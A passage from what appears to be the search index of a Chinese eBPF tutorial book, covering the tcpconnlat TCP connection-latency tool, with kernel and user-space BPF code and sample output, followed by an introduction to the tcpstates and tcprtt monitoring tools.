到收到响应包的时间。","breadcrumbs":"使用 libbpf-bootstrap 开发程序统计 TCP 连接延时 » tcpconnlat 工具概述","id":"74","title":"tcpconnlat 工具概述"},"75":{"body":"TCP 连接的建立过程，常被称为“三次握手”（Three-way Handshake）。以下是整个过程的步骤： 客户端向服务器发送 SYN 包：客户端通过 connect() 系统调用发出 SYN。这涉及到本地的系统调用以及软中断的 CPU 时间开销。 SYN 包传送到服务器：这是一次网络传输，涉及到的时间取决于网络延迟。 服务器处理 SYN 包：服务器内核通过软中断接收包，然后将其放入半连接队列，并发送 SYN/ACK 响应。这主要涉及 CPU 时间开销。 SYN/ACK 包传送到客户端：这是另一次网络传输。 客户端处理 SYN/ACK：客户端内核接收并处理 SYN/ACK 包，然后发送 ACK。这主要涉及软中断处理开销。 ACK 包传送到服务器：这是第三次网络传输。 服务器接收 ACK：服务器内核接收并处理 ACK，然后将对应的连接从半连接队列移动到全连接队列。这涉及到一次软中断的 CPU 开销。 唤醒服务器端用户进程：被 accept() 系统调用阻塞的用户进程被唤醒，然后从全连接队列中取出来已经建立好的连接。这涉及一次上下文切换的CPU开销。 完整的流程图如下所示： tcpconnlat1 在客户端视角，在正常情况下一次TCP连接总的耗时也就就大约是一次网络RTT的耗时。但在某些情况下，可能会导致连接时的网络传输耗时上涨、CPU处理开销增加、甚至是连接失败。这种时候在发现延时过长之后，就可以结合其他信息进行分析。","breadcrumbs":"使用 libbpf-bootstrap 开发程序统计 TCP 连接延时 » TCP 连接原理","id":"75","title":"TCP 连接原理"},"76":{"body":"为了理解 TCP 的连接建立过程，我们需要理解 Linux 内核在处理 TCP 连接时所使用的两个队列： 半连接队列（SYN 队列）：存储那些正在进行三次握手操作的 TCP 连接，服务器收到 SYN 包后，会将该连接信息存储在此队列中。 全连接队列（Accept 队列）：存储已经完成三次握手，等待应用程序调用 accept() 函数的 TCP 连接。服务器在收到 ACK 包后，会创建一个新的连接并将其添加到此队列。 理解了这两个队列的用途，我们就可以开始探究 tcpconnlat 的具体实现。tcpconnlat 的实现可以分为内核态和用户态两个部分，其中包括了几个主要的跟踪点：tcp_v4_connect, tcp_v6_connect 和 tcp_rcv_state_process。 这些跟踪点主要位于内核中的 TCP/IP 网络栈。当执行相关的系统调用或内核函数时，这些跟踪点会被激活，从而触发 eBPF 程序的执行。这使我们能够捕获和测量 TCP 连接建立的整个过程。 让我们先来看一下这些挂载点的源代码： SEC(\"kprobe/tcp_v4_connect\")\nint BPF_KPROBE(tcp_v4_connect, struct sock *sk)\n{ return trace_connect(sk);\n} SEC(\"kprobe/tcp_v6_connect\")\nint BPF_KPROBE(tcp_v6_connect, struct sock *sk)\n{ return trace_connect(sk);\n} SEC(\"kprobe/tcp_rcv_state_process\")\nint BPF_KPROBE(tcp_rcv_state_process, struct sock *sk)\n{ return handle_tcp_rcv_state_process(ctx, sk);\n} 这段代码展示了三个内核探针（kprobe）的定义。tcp_v4_connect 和 tcp_v6_connect 在对应的 IPv4 和 IPv6 连接被初始化时被触发，调用 trace_connect() 函数，而 tcp_rcv_state_process 在内核处理 TCP 连接状态变化时被触发，调用 handle_tcp_rcv_state_process() 函数。 接下来的部分将分为两大块：一部分是对这些挂载点内核态部分的分析，我们将解读内核源代码来详细说明这些函数如何工作；另一部分是用户态的分析，将关注 eBPF 程序如何收集这些挂载点的数据，以及如何与用户态程序进行交互。","breadcrumbs":"使用 libbpf-bootstrap 开发程序统计 TCP 连接延时 » tcpconnlat 的 eBPF 实现","id":"76","title":"tcpconnlat 的 eBPF 实现"},"77":{"body":"tcp_v4_connect函数是Linux内核处理TCP的IPv4连接请求的主要方式。当用户态程序通过socket系统调用创建了一个套接字后，接着通过connect系统调用尝试连接到远程服务器，此时就会触发tcp_v4_connect函数。 /* This will initiate an outgoing connection. */\nint tcp_v4_connect(struct sock *sk, struct sockaddr *uaddr, int addr_len)\n{ struct sockaddr_in *usin = (struct sockaddr_in *)uaddr; struct inet_timewait_death_row *tcp_death_row; struct inet_sock *inet = inet_sk(sk); struct tcp_sock *tp = tcp_sk(sk); struct ip_options_rcu *inet_opt; struct net *net = sock_net(sk); __be16 orig_sport, orig_dport; __be32 daddr, nexthop; struct flowi4 *fl4; struct rtable *rt; int err; if (addr_len < sizeof(struct sockaddr_in)) return -EINVAL; if (usin->sin_family != AF_INET) return -EAFNOSUPPORT; nexthop = daddr = usin->sin_addr.s_addr; inet_opt = rcu_dereference_protected(inet->inet_opt, lockdep_sock_is_held(sk)); if (inet_opt && inet_opt->opt.srr) { if (!daddr) return -EINVAL; nexthop = inet_opt->opt.faddr; } orig_sport = inet->inet_sport; orig_dport = usin->sin_port; fl4 = &inet->cork.fl.u.ip4; rt = ip_route_connect(fl4, nexthop, inet->inet_saddr, sk->sk_bound_dev_if, IPPROTO_TCP, orig_sport, orig_dport, sk); if (IS_ERR(rt)) { err = PTR_ERR(rt); if (err == -ENETUNREACH) IP_INC_STATS(net, IPSTATS_MIB_OUTNOROUTES); return err; } if (rt->rt_flags & (RTCF_MULTICAST | RTCF_BROADCAST)) { ip_rt_put(rt); return -ENETUNREACH; } if (!inet_opt || !inet_opt->opt.srr) daddr = fl4->daddr; tcp_death_row = &sock_net(sk)->ipv4.tcp_death_row; if (!inet->inet_saddr) { err = inet_bhash2_update_saddr(sk, &fl4->saddr, AF_INET); if (err) { ip_rt_put(rt); return err; } } else { sk_rcv_saddr_set(sk, inet->inet_saddr); } if (tp->rx_opt.ts_recent_stamp && inet->inet_daddr != daddr) { /* Reset inherited state */ tp->rx_opt.ts_recent = 0; tp->rx_opt.ts_recent_stamp = 0; if (likely(!tp->repair)) WRITE_ONCE(tp->write_seq, 0); } inet->inet_dport = usin->sin_port; sk_daddr_set(sk, daddr); inet_csk(sk)->icsk_ext_hdr_len = 0; if (inet_opt) inet_csk(sk)->icsk_ext_hdr_len = inet_opt->opt.optlen; tp->rx_opt.mss_clamp = TCP_MSS_DEFAULT; /* Socket identity is still unknown (sport may be zero). * However we set state to SYN-SENT and not releasing socket * lock select source port, enter ourselves into the hash tables and * complete initialization after this. */ tcp_set_state(sk, TCP_SYN_SENT); err = inet_hash_connect(tcp_death_row, sk); if (err) goto failure; sk_set_txhash(sk); rt = ip_route_newports(fl4, rt, orig_sport, orig_dport, inet->inet_sport, inet->inet_dport, sk); if (IS_ERR(rt)) { err = PTR_ERR(rt); rt = NULL; goto failure; } /* OK, now commit destination to socket. */ sk->sk_gso_type = SKB_GSO_TCPV4; sk_setup_caps(sk, &rt->dst); rt = NULL; if (likely(!tp->repair)) { if (!tp->write_seq) WRITE_ONCE(tp->write_seq, secure_tcp_seq(inet->inet_saddr, inet->inet_daddr, inet->inet_sport, usin->sin_port)); tp->tsoffset = secure_tcp_ts_off(net, inet->inet_saddr, inet->inet_daddr); } inet->inet_id = get_random_u16(); if (tcp_fastopen_defer_connect(sk, &err)) return err; if (err) goto failure; err = tcp_connect(sk); if (err) goto failure; return 0; failure: /* * This unhashes the socket and releases the local port, * if necessary. */ tcp_set_state(sk, TCP_CLOSE); inet_bhash2_reset_saddr(sk); ip_rt_put(rt); sk->sk_route_caps = 0; inet->inet_dport = 0; return err;\n}\nEXPORT_SYMBOL(tcp_v4_connect); 参考链接： https://elixir.bootlin.com/linux/latest/source/net/ipv4/tcp_ipv4.c#L340 接下来，我们一步步分析这个函数： 首先，这个函数接收三个参数：一个套接字指针sk，一个指向套接字地址结构的指针uaddr和地址的长度addr_len。 int tcp_v4_connect(struct sock *sk, struct sockaddr *uaddr, int addr_len) 函数一开始就进行了参数检查，确认地址长度正确，而且地址的协议族必须是IPv4。不满足这些条件会导致函数返回错误。 接下来，函数获取目标地址，如果设置了源路由选项（这是一个高级的IP特性，通常不会被使用），那么它还会获取源路由的下一跳地址。 nexthop = daddr = usin->sin_addr.s_addr;\ninet_opt = rcu_dereference_protected(inet->inet_opt, lockdep_sock_is_held(sk));\nif (inet_opt && inet_opt->opt.srr) { if (!daddr) return -EINVAL; nexthop = inet_opt->opt.faddr;\n} 然后，使用这些信息来寻找一个路由到目标地址的路由项。如果不能找到路由项或者路由项指向一个多播或广播地址，函数返回错误。 接下来，它更新了源地址，处理了一些TCP时间戳选项的状态，并设置了目标端口和地址。之后，它更新了一些其他的套接字和TCP选项，并设置了连接状态为SYN-SENT。 然后，这个函数使用inet_hash_connect函数尝试将套接字添加到已连接的套接字的散列表中。如果这步失败，它会恢复套接字的状态并返回错误。 如果前面的步骤都成功了，接着，使用新的源和目标端口来更新路由项。如果这步失败，它会清理资源并返回错误。 接下来，它提交目标信息到套接字，并为之后的分段偏移选择一个安全的随机值。 然后，函数尝试使用TCP Fast Open（TFO）进行连接，如果不能使用TFO或者TFO尝试失败，它会使用普通的TCP三次握手进行连接。 最后，如果上面的步骤都成功了，函数返回成功，否则，它会清理所有资源并返回错误。 总的来说，tcp_v4_connect函数是一个处理TCP连接请求的复杂函数，它处理了很多情况，包括参数检查、路由查找、源地址选择、源路由、TCP选项处理、TCP Fast Open，等等。它的主要目标是尽可能安全和有效地建立TCP连接。","breadcrumbs":"使用 libbpf-bootstrap 开发程序统计 TCP 连接延时 » tcp_v4_connect 函数解析","id":"77","title":"tcp_v4_connect 函数解析"},"78":{"body":"// SPDX-License-Identifier: GPL-2.0\n// Copyright (c) 2020 Wenbo Zhang\n#include <vmlinux.h>\n#include <bpf/bpf_helpers.h>\n#include <bpf/bpf_core_read.h>\n#include <bpf/bpf_tracing.h>\n#include \"tcpconnlat.h\" #define AF_INET 2\n#define AF_INET6 10 const volatile __u64 targ_min_us = 0;\nconst volatile pid_t targ_tgid = 0; struct piddata { char comm[TASK_COMM_LEN]; u64 ts; u32 tgid;\n}; struct { __uint(type, BPF_MAP_TYPE_HASH); __uint(max_entries, 4096); __type(key, struct sock *); __type(value, struct piddata);\n} start SEC(\".maps\"); struct { __uint(type, BPF_MAP_TYPE_PERF_EVENT_ARRAY); __uint(key_size, sizeof(u32)); __uint(value_size, sizeof(u32));\n} events SEC(\".maps\"); static int trace_connect(struct sock *sk)\n{ u32 tgid = bpf_get_current_pid_tgid() >> 32; struct piddata piddata = {}; if (targ_tgid && targ_tgid != tgid) return 0; bpf_get_current_comm(&piddata.comm, sizeof(piddata.comm)); piddata.ts = bpf_ktime_get_ns(); piddata.tgid = tgid; bpf_map_update_elem(&start, &sk, &piddata, 0); return 0;\n} static int handle_tcp_rcv_state_process(void *ctx, struct sock *sk)\n{ struct piddata *piddatap; struct event event = {}; s64 delta; u64 ts; if (BPF_CORE_READ(sk, __sk_common.skc_state) != TCP_SYN_SENT) return 0; piddatap = bpf_map_lookup_elem(&start, &sk); if (!piddatap) return 0; ts = bpf_ktime_get_ns(); delta = (s64)(ts - piddatap->ts); if (delta < 0) goto cleanup; event.delta_us = delta / 1000U; if (targ_min_us && event.delta_us < targ_min_us) goto cleanup; __builtin_memcpy(&event.comm, piddatap->comm, sizeof(event.comm)); event.ts_us = ts / 1000; event.tgid = piddatap->tgid; event.lport = BPF_CORE_READ(sk, __sk_common.skc_num); event.dport = BPF_CORE_READ(sk, __sk_common.skc_dport); event.af = BPF_CORE_READ(sk, __sk_common.skc_family); if (event.af == AF_INET) { event.saddr_v4 = BPF_CORE_READ(sk, __sk_common.skc_rcv_saddr); event.daddr_v4 = BPF_CORE_READ(sk, __sk_common.skc_daddr); } else { BPF_CORE_READ_INTO(&event.saddr_v6, sk, __sk_common.skc_v6_rcv_saddr.in6_u.u6_addr32); BPF_CORE_READ_INTO(&event.daddr_v6, sk, __sk_common.skc_v6_daddr.in6_u.u6_addr32); } bpf_perf_event_output(ctx, &events, BPF_F_CURRENT_CPU, &event, sizeof(event)); cleanup: bpf_map_delete_elem(&start, &sk); return 0;\n} SEC(\"kprobe/tcp_v4_connect\")\nint BPF_KPROBE(tcp_v4_connect, struct sock *sk)\n{ return trace_connect(sk);\n} SEC(\"kprobe/tcp_v6_connect\")\nint BPF_KPROBE(tcp_v6_connect, struct sock *sk)\n{ return trace_connect(sk);\n} SEC(\"kprobe/tcp_rcv_state_process\")\nint BPF_KPROBE(tcp_rcv_state_process, struct sock *sk)\n{ return handle_tcp_rcv_state_process(ctx, sk);\n} SEC(\"fentry/tcp_v4_connect\")\nint BPF_PROG(fentry_tcp_v4_connect, struct sock *sk)\n{ return trace_connect(sk);\n} SEC(\"fentry/tcp_v6_connect\")\nint BPF_PROG(fentry_tcp_v6_connect, struct sock *sk)\n{ return trace_connect(sk);\n} SEC(\"fentry/tcp_rcv_state_process\")\nint BPF_PROG(fentry_tcp_rcv_state_process, struct sock *sk)\n{ return handle_tcp_rcv_state_process(ctx, sk);\n} char LICENSE[] SEC(\"license\") = \"GPL\"; 这个eBPF（Extended Berkeley Packet Filter）程序主要用来监控并收集TCP连接的建立时间，即从发起TCP连接请求(connect系统调用)到连接建立完成(SYN-ACK握手过程完成)的时间间隔。这对于监测网络延迟、服务性能分析等方面非常有用。 首先，定义了两个eBPF maps：start和events。start是一个哈希表，用于存储发起连接请求的进程信息和时间戳，而events是一个PERF_EVENT_ARRAY类型的map，用于将事件数据传输到用户态。 struct { __uint(type, BPF_MAP_TYPE_HASH); __uint(max_entries, 4096); __type(key, struct sock *); __type(value, struct piddata);\n} start SEC(\".maps\"); struct { __uint(type, BPF_MAP_TYPE_PERF_EVENT_ARRAY); __uint(key_size, sizeof(u32)); __uint(value_size, sizeof(u32));\n} events SEC(\".maps\"); 在tcp_v4_connect和tcp_v6_connect的kprobe处理函数trace_connect中，会记录下发起连接请求的进程信息（进程名、进程ID和当前时间戳），并以socket结构作为key，存储到start这个map中。 static int trace_connect(struct sock *sk)\n{ u32 tgid = bpf_get_current_pid_tgid() >> 32; struct piddata piddata = {}; if (targ_tgid && targ_tgid != tgid) return 0; bpf_get_current_comm(&piddata.comm, sizeof(piddata.comm)); piddata.ts = bpf_ktime_get_ns(); piddata.tgid = tgid; bpf_map_update_elem(&start, &sk, &piddata, 0); return 0;\n} 当TCP状态机处理到SYN-ACK包，即连接建立的时候，会触发tcp_rcv_state_process的kprobe处理函数handle_tcp_rcv_state_process。在这个函数中，首先检查socket的状态是否为SYN-SENT，如果是，会从start这个map中查找socket对应的进程信息。然后计算出从发起连接到现在的时间间隔，将该时间间隔，进程信息，以及TCP连接的详细信息（源端口，目标端口，源IP，目标IP等）作为event，通过bpf_perf_event_output函数发送到用户态。 static int handle_tcp_rcv_state_process(void *ctx, struct sock *sk)\n{ struct piddata *piddatap; struct event event = {}; s64 delta; u64 ts; if (BPF_CORE_READ(sk, __sk_common.skc_state) != TCP_SYN_SENT) return 0; piddatap = bpf_map_lookup_elem(&start, &sk); if (!piddatap) return 0; ts = bpf_ktime_get_ns(); delta = (s64)(ts - piddatap->ts); if (delta < 0) goto cleanup; event.delta_us = delta / 1000U; if (targ_min_us && event.delta_us < targ_min_us) goto cleanup; __builtin_memcpy(&event.comm, piddatap->comm, sizeof(event.comm)); event.ts_us = ts / 1000; event.tgid = piddatap->tgid; event.lport = BPF_CORE_READ(sk, __sk_common.skc_num); event.dport = BPF_CORE_READ(sk, __sk_common.skc_dport); event.af = BPF_CORE_READ(sk, __sk_common.skc_family); if (event.af == AF_INET) { event.saddr_v4 = BPF_CORE_READ(sk, __sk_common.skc_rcv_saddr); event.daddr_v4 = BPF_CORE_READ(sk, __sk_common.skc_daddr); } else { BPF_CORE_READ_INTO(&event.saddr_v6, sk, __sk_common.skc_v6_rcv_saddr.in6_u.u6_addr32); BPF_CORE_READ_INTO(&event.daddr_v6, sk, __sk_common.skc_v6_daddr.in6_u.u6_addr32); } bpf_perf_event_output(ctx, &events, BPF_F_CURRENT_CPU, &event, sizeof(event)); cleanup: bpf_map_delete_elem(&start, &sk); return 0;\n} 理解这个程序的关键在于理解Linux内核的网络栈处理流程，以及eBPF程序的运行模式。Linux内核网络栈对TCP连接建立的处理过程是，首先调用tcp_v4_connect或tcp_v6_connect函数（根据IP版本不同）发起TCP连接，然后在收到SYN-ACK包时，通过tcp_rcv_state_process函数来处理。eBPF程序通过在这两个关键函数上设置kprobe，可以在关键时刻得到通知并执行相应的处理代码。 一些关键概念说明： kprobe：Kernel Probe，是Linux内核中用于动态追踪内核行为的机制。可以在内核函数的入口和退出处设置断点，当断点被触发时，会执行与kprobe关联的eBPF程序。 map：是eBPF程序中的一种数据结构，用于在内核态和用户态之间共享数据。 socket：在Linux网络编程中，socket是一个抽象概念，表示一个网络连接的端点。内核中的struct sock结构就是对socket的实现。","breadcrumbs":"使用 libbpf-bootstrap 开发程序统计 TCP 连接延时 » 内核态代码","id":"78","title":"内核态代码"},"79":{"body":"用户态数据处理是使用perf_buffer__poll来接收并处理从内核发送到用户态的eBPF事件。perf_buffer__poll是libbpf库提供的一个便捷函数，用于轮询perf event buffer并处理接收到的数据。 首先，让我们详细看一下主轮询循环： /* main: poll */ while (!exiting) { err = perf_buffer__poll(pb, PERF_POLL_TIMEOUT_MS); if (err < 0 && err != -EINTR) { fprintf(stderr, \"error polling perf buffer: %s\\n\", strerror(-err)); goto cleanup; } /* reset err to return 0 if exiting */ err = 0; } 这段代码使用一个while循环来反复轮询perf event buffer。如果轮询出错（例如由于信号中断），会打印出错误消息。这个轮询过程会一直持续，直到收到一个退出标志exiting。 接下来，让我们来看看handle_event函数，这个函数将处理从内核发送到用户态的每一个eBPF事件： void handle_event(void* ctx, int cpu, void* data, __u32 data_sz) { const struct event* e = data; char src[INET6_ADDRSTRLEN]; char dst[INET6_ADDRSTRLEN]; union { struct in_addr x4; struct in6_addr x6; } s, d; static __u64 start_ts; if (env.timestamp) { if (start_ts == 0) start_ts = e->ts_us; printf(\"%-9.3f \", (e->ts_us - start_ts) / 1000000.0); } if (e->af == AF_INET) { s.x4.s_addr = e->saddr_v4; d.x4.s_addr = e->daddr_v4; } else if (e->af == AF_INET6) { memcpy(&s.x6.s6_addr, e->saddr_v6, sizeof(s.x6.s6_addr)); memcpy(&d.x6.s6_addr, e->daddr_v6, sizeof(d.x6.s6_addr)); } else { fprintf(stderr, \"broken event: event->af=%d\", e->af); return; } if (env.lport) { printf(\"%-6d %-12.12s %-2d %-16s %-6d %-16s %-5d %.2f\\n\", e->tgid, e->comm, e->af == AF_INET ? 4 : 6, inet_ntop(e->af, &s, src, sizeof(src)), e->lport, inet_ntop(e->af, &d, dst, sizeof(dst)), ntohs(e->dport), e->delta_us / 1000.0); } else { printf(\"%-6d %-12.12s %-2d %-16s %-16s %-5d %.2f\\n\", e->tgid, e->comm, e->af == AF_INET ? 4 : 6, inet_ntop(e->af, &s, src, sizeof(src)), inet_ntop(e->af, &d, dst, sizeof(dst)), ntohs(e->dport), e->delta_us / 1000.0); }\n} handle_event函数的参数包括了CPU编号、指向数据的指针以及数据的大小。数据是一个event结构体，包含了之前在内核态计算得到的TCP连接的信息。 首先，它将接收到的事件的时间戳和起始时间戳（如果存在）进行对比，计算出事件的相对时间，并打印出来。接着，根据IP地址的类型（IPv4或IPv6），将源地址和目标地址从网络字节序转换为主机字节序。 最后，根据用户是否选择了显示本地端口，将进程ID、进程名称、IP版本、源IP地址、本地端口（如果有）、目标IP地址、目标端口以及连接建立时间打印出来。这个连接建立时间是我们在内核态eBPF程序中计算并发送到用户态的。","breadcrumbs":"使用 libbpf-bootstrap 开发程序统计 TCP 连接延时 » 用户态数据处理","id":"79","title":"用户态数据处理"},"8":{"body":"BCC全称为BPF Compiler Collection，该项目是一个python库， 包含了完整的编写、编译、和加载BPF程序的工具链，以及用于调试和诊断性能问题的工具。 自2015年发布以来，BCC经过上百位贡献者地不断完善后，目前已经包含了大量随时可用的跟踪工具。 其官方项目库 提供了一个方便上手的教程，用户可以快速地根据教程完成BCC入门工作。 用户可以在BCC上使用Python、Lua等高级语言进行编程。 相较于使用C语言直接编程，这些高级语言具有极大的便捷性，用户只需要使用C来设计内核中的 BPF程序，其余包括编译、解析、加载等工作在内，均可由BCC完成。 然而使用BCC存在一个缺点便是在于其兼容性并不好。基于BCC的 eBPF程序每次执行时候都需要进行编译，编译则需要用户配置相关的头文件和对应实现。在实际应用中， 相信大家也会有体会，编译依赖问题是一个很棘手的问题。也正是因此，在本项目的开发中我们放弃了BCC， 选择了可以做到一次编译-多次运行的libbpf-bootstrap工具。","breadcrumbs":"介绍 eBPF 的基本概念、常见的开发工具 » BCC","id":"8","title":"BCC"},"80":{"body":"$ make\n... BPF .output/tcpconnlat.bpf.o GEN-SKEL .output/tcpconnlat.skel.h CC .output/tcpconnlat.o BINARY tcpconnlat\n$ sudo ./tcpconnlat PID COMM IP SADDR DADDR DPORT LAT(ms)\n222564 wget 4 192.168.88.15 110.242.68.3 80 25.29\n222684 wget 4 192.168.88.15 167.179.101.42 443 246.76\n222726 ssh 4 192.168.88.15 167.179.101.42 22 241.17\n222774 ssh 4 192.168.88.15 1.15.149.151 22 25.31 源代码： https://github.com/eunomia-bpf/bpf-developer-tutorial/tree/main/src/13-tcpconnlat 参考资料： tcpconnlat","breadcrumbs":"使用 libbpf-bootstrap 开发程序统计 TCP 连接延时 » 编译运行","id":"80","title":"编译运行"},"81":{"body":"通过本篇 eBPF 入门实践教程，我们学习了如何使用 eBPF 来跟踪和统计 TCP 连接建立的延时。我们首先深入探讨了 eBPF 程序如何在内核态监听特定的内核函数，然后通过捕获这些函数的调用，从而得到连接建立的起始时间和结束时间，计算出延时。 我们还进一步了解了如何使用 BPF maps 来在内核态存储和查询数据，从而在 eBPF 程序的多个部分之间共享数据。同时，我们也探讨了如何使用 perf events 来将数据从内核态发送到用户态，以便进一步处理和展示。 在用户态，我们介绍了如何使用 libbpf 库的 API，例如 perf_buffer__poll，来接收和处理内核态发送过来的数据。我们还讲解了如何对这些数据进行解析和打印，使得它们能以人类可读的形式显示出来。 如果您希望学习更多关于 eBPF 的知识和实践，请查阅 eunomia-bpf 的官方文档： https://github.com/eunomia-bpf/eunomia-bpf 。您还可以访问我们的教程代码仓库 https://github.com/eunomia-bpf/bpf-developer-tutorial 以获取更多示例和完整的教程。 接下来的教程将进一步探讨 eBPF 的高级特性，例如如何使用 eBPF 来追踪网络包的传输路径，如何利用 eBPF 对系统的性能进行细粒度的监控等等。我们会继续分享更多有关 eBPF 开发实践的内容，帮助您更好地理解和掌握 eBPF 技术，希望这些内容对您在 eBPF 开发道路上的学习和实践有所帮助。","breadcrumbs":"使用 libbpf-bootstrap 开发程序统计 TCP 连接延时 » 总结","id":"81","title":"总结"},"82":{"body":"eBPF (扩展的伯克利数据包过滤器) 是一项强大的网络和性能分析工具，被广泛应用在 Linux 内核上。eBPF 使得开发者能够动态地加载、更新和运行用户定义的代码，而无需重启内核或更改内核源代码。 在我们的 eBPF 入门实践教程系列的这一篇，我们将介绍两个示例程序：tcpstates 和 tcprtt。tcpstates 用于记录 TCP 连接的状态变化，而 tcprtt 则用于记录 TCP 的往返时间 (RTT, Round-Trip Time)。","breadcrumbs":"使用 libbpf-bootstrap 记录 TCP 连接状态与 TCP RTT » eBPF入门实践教程十四：记录 TCP 连接状态与 TCP RTT","id":"82","title":"eBPF入门实践教程十四：记录 TCP 连接状态与 TCP RTT"},"83":{"body":"网络质量在当前的互联网环境中至关重要。影响网络质量的因素有许多，包括硬件、网络环境、软件编程的质量等。为了帮助用户更好地定位网络问题，我们引入了 tcprtt 这个工具。tcprtt 可以监控 TCP 链接的往返时间，从而评估网络质量，帮助用户找出可能的问题所在。 当 TCP 链接建立时，tcprtt 会自动根据当前系统的状况，选择合适的执行函数。在执行函数中，tcprtt 会收集 TCP 链接的各项基本信息，如源地址、目标地址、源端口、目标端口、耗时等，并将这些信息更新到直方图型的 BPF map 中。运行结束后，tcprtt 会通过用户态代码，将收集的信息以图形化的方式展示给用户。 tcpstates 则是一个专门用来追踪和打印 TCP 连接状态变化的工具。它可以显示 TCP 连接在每个状态中的停留时长，单位为毫秒。例如，对于一个单独的 TCP 会话，tcpstates 可以打印出类似以下的输出： SKADDR C-PID C-COMM LADDR LPORT RADDR RPORT OLDSTATE -> NEWSTATE MS\nffff9fd7e8192000 22384 curl 100.66.100.185 0 52.33.159.26 80 CLOSE -> SYN_SENT 0.000\nffff9fd7e8192000 0 swapper/5 100.66.100.185 63446 52.33.159.26 80 SYN_SENT -> ESTABLISHED 1.373\nffff9fd7e8192000 22384 curl 100.66.100.185 63446 52.33.159.26 80 ESTABLISHED -> FIN_WAIT1 176.042\nffff9fd7e819 2000 0 swapper/5 100.66.100.185 63446 52.33.159.26 80 FIN_WAIT1 -> FIN_WAIT2 0.536\nffff9fd7e8192000 0 swapper/5 100.66.100.185 63446 52.33.159.26 80 FIN_WAIT2 -> CLOSE 0.006 以上输出中，最多的时间被花在了 ESTABLISHED 状态，也就是连接已经建立并在传输数据的状态，这个状态到 FIN_WAIT1 状态（开始关闭连接的状态）的转变过程中耗费了 176.042 毫秒。 在我们接下来的教程中，我们会更深入地探讨这两个工具，解释它们的实现原理，希望这些内容对你在使用 eBPF 进行网络和性能分析方面的工作有所帮助。","breadcrumbs":"使用 libbpf-bootstrap 记录 TCP 连接状态与 TCP RTT » tcprtt 与 tcpstates","id":"83","title":"tcprtt 与 tcpstates"},"84":{"body":"由于篇幅所限，这里我们主要讨论和分析对应的 eBPF 内核态代码实现。以下是 tcpstate 的 eBPF 代码： const volatile bool filter_by_sport = false;\nconst volatile bool filter_by_dport = false;\nconst volatile short target_family = 0; struct { __uint(type, BPF_MAP_TYPE_HASH); __uint(max_entries, MAX_ENTRIES); __type(key, __u16); __type(value, __u16);\n} sports SEC(\".maps\"); struct { __uint(type, BPF_MAP_TYPE_HASH); __uint(max_entries, MAX_ENTRIES); __type(key, __u16); __type(value, __u16);\n} dports SEC(\".maps\"); struct { __uint(type, BPF_MAP_TYPE_HASH); __uint(max_entries, MAX_ENTRIES); __type(key, struct sock *); __type(value, __u64);\n} timestamps SEC(\".maps\"); struct { __uint(type, BPF_MAP_TYPE_PERF_EVENT_ARRAY); __uint(key_size, sizeof(__u32)); __uint(value_size, sizeof(__u32));\n} events SEC(\".maps\"); SEC(\"tracepoint/sock/inet_sock_set_state\")\nint handle_set_state(struct trace_event_raw_inet_sock_set_state *ctx)\n{ struct sock *sk = (struct sock *)ctx->skaddr; __u16 family = ctx->family; __u16 sport = ctx->sport; __u16 dport = ctx->dport; __u64 *tsp, delta_us, ts; struct event event = {}; if (ctx->protocol != IPPROTO_TCP) return 0; if (target_family && target_family != family) return 0; if (filter_by_sport && !bpf_map_lookup_elem(&sports, &sport)) return 0; if (filter_by_dport && !bpf_map_lookup_elem(&dports, &dport)) return 0; tsp = bpf_map_lookup_elem(&timestamps, &sk); ts = bpf_ktime_get_ns(); if (!tsp) delta_us = 0; else delta_us = (ts - *tsp) / 1000; event.skaddr = (__u64)sk; event.ts_us = ts / 1000; event.delta_us = delta_us; event.pid = bpf_get_current_pid_tgid() >> 32; event.oldstate = ctx->oldstate; event.newstate = ctx->newstate; event.family = family; event.sport = sport; event.dport = dport; bpf_get_current_comm(&event.task, sizeof(event.task)); if (family == AF_INET) { bpf_probe_read_kernel(&event.saddr, sizeof(event.saddr), &sk->__sk_common.skc_rcv_saddr); bpf_probe_read_kernel(&event.daddr, sizeof(event.daddr), &sk->__sk_common.skc_daddr); } else { /* family == AF_INET6 */ bpf_probe_read_kernel(&event.saddr, sizeof(event.saddr), &sk->__sk_common.skc_v6_rcv_saddr.in6_u.u6_addr32); bpf_probe_read_kernel(&event.daddr, sizeof(event.daddr), &sk->__sk_common.skc_v6_daddr.in6_u.u6_addr32); } bpf_perf_event_output(ctx, &events, BPF_F_CURRENT_CPU, &event, sizeof(event)); if (ctx->newstate == TCP_CLOSE) bpf_map_delete_elem(&timestamps, &sk); else bpf_map_update_elem(&timestamps, &sk, &ts, BPF_ANY); return 0;\n} tcpstates主要依赖于 eBPF 的 Tracepoints 来捕获 TCP 连接的状态变化，从而跟踪 TCP 连接在每个状态下的停留时间。","breadcrumbs":"使用 libbpf-bootstrap 记录 TCP 连接状态与 TCP RTT » tcpstate","id":"84","title":"tcpstate"},"85":{"body":"在tcpstates程序中，首先定义了几个 BPF Maps，它们是 eBPF 程序和用户态程序之间交互的主要方式。sports和dports分别用于存储源端口和目标端口，用于过滤 TCP 连接；timestamps用于存储每个 TCP 连接的时间戳，以计算每个状态的停留时间；events则是一个 perf_event 类型的 map，用于将事件数据发送到用户态。","breadcrumbs":"使用 libbpf-bootstrap 记录 TCP 连接状态与 TCP RTT » 定义 BPF Maps","id":"85","title":"定义 BPF Maps"},"86":{"body":"程序定义了一个名为handle_set_state的函数，该函数是一个 tracepoint 类型的程序，它将被挂载到sock/inet_sock_set_state这个内核 tracepoint 上。每当 TCP 连接状态发生变化时，这个 tracepoint 就会被触发，然后执行handle_set_state函数。 在handle_set_state函数中，首先通过一系列条件判断确定是否需要处理当前的 TCP 连接，然后从timestampsmap 中获取当前连接的上一个时间戳，然后计算出停留在当前状态的时间。接着，程序将收集到的数据放入一个 event 结构体中，并通过bpf_perf_event_output函数将该 event 发送到用户态。","breadcrumbs":"使用 libbpf-bootstrap 记录 TCP 连接状态与 TCP RTT » 追踪 TCP 连接状态变化","id":"86","title":"追踪 TCP 连接状态变化"},"87":{"body":"最后，根据 TCP 连接的新状态，程序将进行不同的操作：如果新状态为 TCP_CLOSE，表示连接已关闭，程序将从timestampsmap 中删除该连接的时间戳；否则，程序将更新该连接的时间戳。 用户态的部分主要是通过 libbpf 来加载 eBPF 程序，然后通过 perf_event 来接收内核中的事件数据： static void handle_event(void* ctx, int cpu, void* data, __u32 data_sz) { char ts[32], saddr[26], daddr[26]; struct event* e = data; struct tm* tm; int family; time_t t; if (emit_timestamp) { time(&t); tm = localtime(&t); strftime(ts, sizeof(ts), \"%H:%M:%S\", tm); printf(\"%8s \", ts); } inet_ntop(e->family, &e->saddr, 